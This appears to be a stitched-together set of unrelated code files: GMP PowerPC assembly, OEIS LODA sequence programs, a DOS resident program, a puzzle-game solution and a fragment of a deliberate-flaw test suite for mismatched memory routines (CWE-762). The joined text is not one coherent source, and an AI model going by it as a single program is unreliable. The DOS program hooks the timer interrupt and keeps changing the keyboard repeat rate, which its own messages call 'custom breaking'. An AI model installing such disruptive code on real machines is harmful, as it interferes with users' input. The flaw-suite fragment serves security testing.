dnl PowerPC-64 mpn_modexact_1_odd -- mpn by limb exact remainder. dnl Copyright 2006 Free Software Foundation, Inc. dnl This file is part of the GNU MP Library. dnl The GNU MP Library is free software; you can redistribute it and/or modify dnl it under the terms of the GNU Lesser General Public License as published dnl by the Free Software Foundation; either version 3 of the License, or (at dnl your option) any later version. dnl The GNU MP Library is distributed in the hope that it will be useful, but dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public dnl License for more details. dnl You should have received a copy of the GNU Lesser General Public License dnl along with the GNU MP Library. If not, see http://www.gnu.org/licenses/. include(`../config.m4') C cycles/limb C POWER3/PPC630: 13-19 C POWER4/PPC970: 16 C POWER5: 16 C TODO C * Check if n=1 code is really an improvment. It probably isn't. C * Make more similar to dive_1.asm.. C INPUT PARAMETERS define(`up', `r3') define(`n', `r4') define(`d', `r5') define(`cy', `r6') ASM_START() EXTERN(binvert_limb_table) PROLOGUE(mpn_modexact_1c_odd) addic. n, n, -1 C set carry as side effect ld r8, 0(up) bne cr0, L(2) cmpld cr7, r6, r8 bge cr7, L(4) subf r8, r6, r8 divdu r3, r8, d mulld r3, r3, d subf. r3, r3, r8 beqlr cr0 subf r3, r3, d blr L(4): subf r3, r8, r6 divdu r8, r3, d mulld r8, r8, d subf r3, r8, r3 blr L(2): LEA( r7, binvert_limb_table) rldicl r9, d, 63, 57 mtctr n lbzx r0, r7, r9 mulld r7, r0, r0 sldi r0, r0, 1 mulld r7, d, r7 subf r0, r7, r0 mulld r9, r0, r0 sldi r0, r0, 1 mulld r9, d, r9 subf r0, r9, r0 mulld r7, r0, r0 sldi r0, r0, 1 mulld r7, d, r7 subf r9, r7, r0 ALIGN(16) L(loop): subfe r0, r6, r8 ld r8, 8(up) addi up, up, 8 mulld r0, r9, r0 mulhdu r6, r0, d bdnz L(loop) cmpld cr7, d, r8 blt cr7, L(10) subfe r0, r0, r0 subf r6, r0, r6 cmpld cr7, r6, r8 subf r3, r8, r6 bgelr cr7 add r3, d, r3 blr L(10): subfe r0, r6, r8 mulld r0, r9, r0 mulhdu r3, r0, d blr EPILOGUE() ASM_END()
; A129756: Repetitions of odd numbers four times. ; 1,1,1,1,3,3,3,3,5,5,5,5,7,7,7,7,9,9,9,9,11,11,11,11,13,13,13,13,15,15,15,15,17,17,17,17,19,19,19,19,21,21,21,21,23,23,23,23,25,25,25,25,27,27,27,27,29,29,29,29,31,31,31,31,33,33,33,33,35,35,35,35,37,37,37,37,39,39,39,39,41,41,41,41,43,43,43,43,45,45,45,45,47,47,47,47,49,49,49,49,51,51,51,51,53,53,53,53,55,55,55,55,57,57,57,57,59,59,59,59,61,61,61,61,63,63,63,63,65,65,65,65,67,67,67,67,69,69,69,69,71,71,71,71,73,73,73,73,75,75,75,75,77,77,77,77,79,79,79,79,81,81,81,81,83,83,83,83,85,85,85,85,87,87,87,87,89,89,89,89,91,91,91,91,93,93,93,93,95,95,95,95,97,97,97,97,99,99,99,99,101,101,101,101,103,103,103,103,105,105,105,105,107,107,107,107,109,109,109,109,111,111,111,111,113,113,113,113,115,115,115,115,117,117,117,117,119,119,119,119,121,121,121,121,123,123,123,123,125,125 mov $1,$0 div $1,4 mul $1,2 add $1,1
; A088139: a(n) = 2*a(n-1) - 6*a(n-2), a(0)=0, a(1)=1. ; 0,1,2,-2,-16,-20,56,232,128,-1136,-3040,736,19712,35008,-48256,-306560,-323584,1192192,4325888,1498624,-22958080,-54907904,27932672,385312768,603029504,-1105817600,-5829812224,-5024718848,24929435648,80007184384,10437754880,-459167596544,-980961722368,793082134528,7471934603264,10185376399360,-24460854820864,-110033968037888,-73302807150592,513598193926144,1467013230755840,-147562702045184,-9097204788625408,-17309033364979712,19965162001793024,143784524193464320,167778076376170496,-527150992408444928,-2060970443073912832,-959034931697156096,10447752795049164800,26649715180281266176,-9387086409732456448,-178672463901152509952,-301022409343910281216,469989964719094497280,2746114385501650681856,2672288982688734380032,-11132108347632435331072,-38297950591397276942336,-9803251096999941898240,210181201354383777857536,479181909290767207104512,-302723389544768252936192,-3480538234834139748499456,-5144736132399669979381760,10593757144205498532233216,52055931082809016940756992,40549319300385042688114688,-231236947896084016268312576,-705769811594478288665313280,-24117935812452479720751104,4186382997941964772550377472,8517473610758644423425261568,-8083350766134499788451741696,-67271543196820866117455052800,-86042981796834733504199655424,231543295587255729696331005952,979344481955519860417859944448,569429190387505342657733853184,-4737208510958108477191691960320,-12890992164241249010329787039744,2641266737266152842490577682432,82628486459979799746959877603328,149409372496362682438976289112064,-196952173767153433603806687395840,-1290360582512482961841471109464064,-1399008122422045322060102094553088,4944147250230807126928622467678208,18282343234993886186217857502674944,6899802968602929610863980199280640,-95894453472757457895579184617488384,-233187724757132493456342250430660608,108991271322279760460790606843609088 mov $2,1 lpb $0 sub $0,1 mul $1,3 mul $2,2 sub $2,$1 add $1,$2 lpe div $1,2 mov $0,$1
; A047579: Numbers that are congruent to {0, 2, 5, 6, 7} mod 8. ; 0,2,5,6,7,8,10,13,14,15,16,18,21,22,23,24,26,29,30,31,32,34,37,38,39,40,42,45,46,47,48,50,53,54,55,56,58,61,62,63,64,66,69,70,71,72,74,77,78,79,80,82,85,86,87,88,90,93,94,95,96,98,101,102,103 mov $3,$0 mov $5,$0 lpb $5,1 mov $0,$3 sub $5,1 sub $0,$5 mov $2,3 add $2,$0 sub $2,1 lpb $0,1 mov $0,0 mod $2,5 trn $2,2 add $2,3 lpe mov $4,$2 sub $4,2 add $1,$4 lpe
.MODEL TINY .186 CODES SEGMENT ASSUME CS:CODES, DS:CODES ORG 100H MAIN: jmp init cur db 0 speed db 01fh OLD_8H dd ? FLAG db 228 MY_NEW_8H proc pusha push es push ds mov ah, 02h int 1ah cmp dh, cur mov cur, dh je end_loop mov al, 0F3h out 60h, al mov al, speed out 60h, al dec speed test speed, 01fh jz reset jmp end_loop reset: mov speed, 01fh end_loop: pop ds pop es popa jmp CS:OLD_8H MY_NEW_8H endp init: mov AX, 3508h int 21h cmp ES:FLAG, 228 je uninstall mov word ptr OLD_8H, BX mov word ptr OLD_8H + 2, ES mov AX, 2508h mov DX, offset MY_NEW_8H int 21h mov DX, offset INSTALL_MSG mov AH, 9 int 21h mov DX, offset init int 27H uninstall: push ES push DS mov al, 0F3h out 60h, al mov al, 0 out 60h, al mov DX, word ptr ES:OLD_8H MOV DS, word ptr ES:OLD_8H + 2 mov AX, 2508h int 21h pop DS pop ES mov AH, 49h int 21h mov DX, offset UNINSTALL_MSG mov AH, 9h int 21h mov AX, 4C00h int 21h INSTALL_MSG DB 'Install custom breaking$' UNINSTALL_MSG DB 'Uninstall custom breaking$' CODES ENDS END MAIN
; A056527: Numbers where iterated sum of digits of square settles down to a cyclic pattern (in fact 13, 16, 13, 16, ...). ; 2,4,5,7,11,13,14,16,20,22,23,25,29,31,32,34,38,40,41,43,47,49,50,52,56,58,59,61,65,67,68,70,74,76,77,79,83,85,86,88,92,94,95,97,101,103,104,106,110,112,113,115,119,121,122,124,128,130,131,133,137,139,140,142,146,148,149,151,155,157,158,160,164,166,167,169,173,175,176,178,182,184,185,187,191,193,194,196,200,202,203,205,209,211,212,214,218,220,221,223,227,229,230,232,236,238,239,241,245,247,248,250,254,256,257,259,263,265,266,268,272,274,275,277,281,283,284,286,290,292,293,295,299,301,302,304,308,310,311,313,317,319,320,322,326,328,329,331,335,337,338,340,344,346,347,349,353,355,356,358,362,364,365,367,371,373,374,376,380,382,383,385,389,391,392,394,398,400,401,403,407,409,410,412,416,418,419,421,425,427,428,430,434,436,437,439,443,445,446,448,452,454,455,457,461,463,464,466,470,472,473,475,479,481,482,484,488,490,491,493,497,499,500,502,506,508,509,511,515,517,518,520,524,526,527,529,533,535,536,538,542,544,545,547,551,553,554,556,560,562 mov $2,$0 add $2,$0 add $2,4 mov $1,$2 sub $1,$0 sub $1,4 sub $2,1 mov $5,$0 lpb $2,1 add $2,4 add $3,1 sub $3,$1 mov $4,3 lpb $4,1 add $1,1 trn $4,$3 mov $3,$4 lpe sub $2,7 mov $3,$2 lpe lpb $5,1 add $1,1 sub $5,1 lpe
-- 7 Billion Humans (2056) -- -- 54: Terrain Leveler -- -- Author: tiansh -- Size: 18 -- Speed: 114 a: step n mem1 = calc mem1 + c if n != wall or sw == datacube or w == worker: jump a endif pickup s mem1 = calc mem1 + sw write mem1 step s b: if e == worker or ne == worker: jump b endif mem1 = calc mem1 / 49 if e == datacube: mem1 = set e endif c: write mem1 drop step s pickup c jump c
/* TEMPLATE GENERATED TESTCASE FILE Filename: CWE762_Mismatched_Memory_Management_Routines__delete_array_class_realloc_53b.cpp Label Definition File: CWE762_Mismatched_Memory_Management_Routines__delete_array.label.xml Template File: sources-sinks-53b.tmpl.cpp */ /* * @description * CWE: 762 Mismatched Memory Management Routines * BadSource: realloc Allocate data using realloc() * GoodSource: Allocate data using new [] * Sinks: * GoodSink: Deallocate data using free() * BadSink : Deallocate data using delete [] * Flow Variant: 53 Data flow: data passed as an argument from one function through two others to a fourth; all four functions are in different source files * * */ #include "std_testcase.h" namespace CWE762_Mismatched_Memory_Management_Routines__delete_array_class_realloc_53 { #ifndef OMITBAD /* bad function declaration */ void badSink_c(TwoIntsClass * data); void badSink_b(TwoIntsClass * data) { badSink_c(data); } #endif /* OMITBAD */ #ifndef OMITGOOD /* goodG2B uses the GoodSource with the BadSink */ void goodG2BSink_c(TwoIntsClass * data); void goodG2BSink_b(TwoIntsClass * data) { goodG2BSink_c(data); } /* goodB2G uses the BadSource with the GoodSink */ void goodB2GSink_c(TwoIntsClass * data); void goodB2GSink_b(TwoIntsClass * data) { goodB2GSink_c(data); } #endif /* OMITGOOD */ } /* close namespace */